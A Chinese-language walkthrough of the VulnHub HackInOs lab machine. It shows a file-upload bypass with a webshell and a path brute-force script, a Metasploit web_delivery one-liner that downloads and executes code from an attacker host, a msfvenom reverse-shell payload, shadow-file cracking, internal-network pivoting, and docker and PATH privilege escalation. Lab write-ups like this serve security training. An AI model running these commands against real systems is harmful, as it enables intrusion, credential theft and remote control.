vulnhub靶机渗透-HackInOs
HackInOs(有内网)
信息收集
靶机IP 192.168.99.100
kali IP 192.168.99.101
nmap扫描结果

存在上传点但是无法上传文件

Burp抓包发现页面源代码有注释
https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php
看到提示
看到其只使用了getimagesize函数进行检验
通过加添GIF89a可以绕过上传
而文件的名字是这么产生的

于是上传一个一句话木马,然后对目录进行爆破即可
# coding:utf-8
import hashlib
import requests
base_url = "http://192.168.99.100:8000/uploads/"
target = []
for i in range(101):
shell = 'shell.php' + str(i)
shell_md5 = hashlib.md5(shell.encode('utf-8')).hexdigest()
target.append(base_url + shell_md5 + '.php')
for t in target:
r = requests.get(t)
if r.status_code == 200:
print("find it!")
print(t)
break
之后使用蚁剑成功连接

但是发现上传不久之后shell就被删掉了
所以需要将shell移动到html目录下,(考验手速的时候到了)

此时成功得到shell,开始提权
提权
查找SUID的程序
find / -user root -perm -4000 -print 2>/dev/null

使用tail命令查看/etc/shadow
将root用户复制过来,使用john进行爆破

得到root账号的密码是john

之后切换到root用户查看flag,但是并没有结束
运行提权辅助脚本

注意到提权辅助脚本提示有docker

查看IP

看这个IP地址很像是docker中的地址
尝试直接用root账户及其密码john进行连接,失败
大概猜到了我只是拿到了一台docker容器的权限,并没有进入到主机
后渗透
反弹的shell功能还是弱了,想办法得到一个meterpreter
这里有记录一下通过shell拿到meterpreter的几种办法
web_delivery脚本
使用exploit/multi/script/web_delivery
设置好相关参数

在反弹的shell中运行这段payload
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.99.101:8080/1PrsFQbkzsmuk5');exec(r.read());"
得到meterpreter之后输入background让其挂起
使用msfenvom生成木马
使用exploit/multi/handler 这个exploit模块
加载linux/x86/meterpreter_reverse_tcp 这个payload,同时通过msfvenom 去生成一个木马

msfvenom生成木马
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.99.102 lport=4444 -f elf -o shell

蚁剑上传

执行

反弹得到meterpreter

得到子网信息

之后通过metasploit之后添加一条路由

此时就可以看到添加的路由信息了

路由添加也可以通过:rout add 172.18.0.0 255.255.0.0 1
指定了网段和子网掩码,以及对应的session

这之后我们就可以在metasploit中访问内网的地址了,先进行主机发现

发现了四台主机
进行后续的端口扫描

(由于扫描速度比较慢,参数调整了一下)

这里也尝试通过proxychain去进行扫描
proxychain的配置

使用socks4a代理,修改/etc/proxychains.conf文件,

取消注释同时在最后一行加上127.0.0.1 1080
由于proxyresolv的位置有点问题,cp过来
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
之后可以通过proxychains nmap -A -T4 172.18.0.2启动nmap扫描,但是扫描的结果有问题
root@kali:~# proxyresolv 172.18.0.3
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
172.18.0.3
能够正常解析但是还是存在问题
172.18.0.2 开放了3306端口数据库,进行连接

此处也可以通过portfwd add -l 8123 -r 172.18.0.3 -p 3306端口转发到本地进行连接
mysql -h 127.0.0.1 -P 8123 -uwordpress -pwordpress

查看数据


解密之后得到123456

于是尝试直接使用该用户登陆主机
该用户在docker组中,可以尝试通过docker提权

运行的docker镜像

docker挂载即可

得到flag

另外一种方式提权
find / -user root -perm -4000 -print 2>/dev/null
查找SUID用户运行的程序

发现a.out

猜测其运行的是whoami命令
通过环境变量提权

同样拿到flag
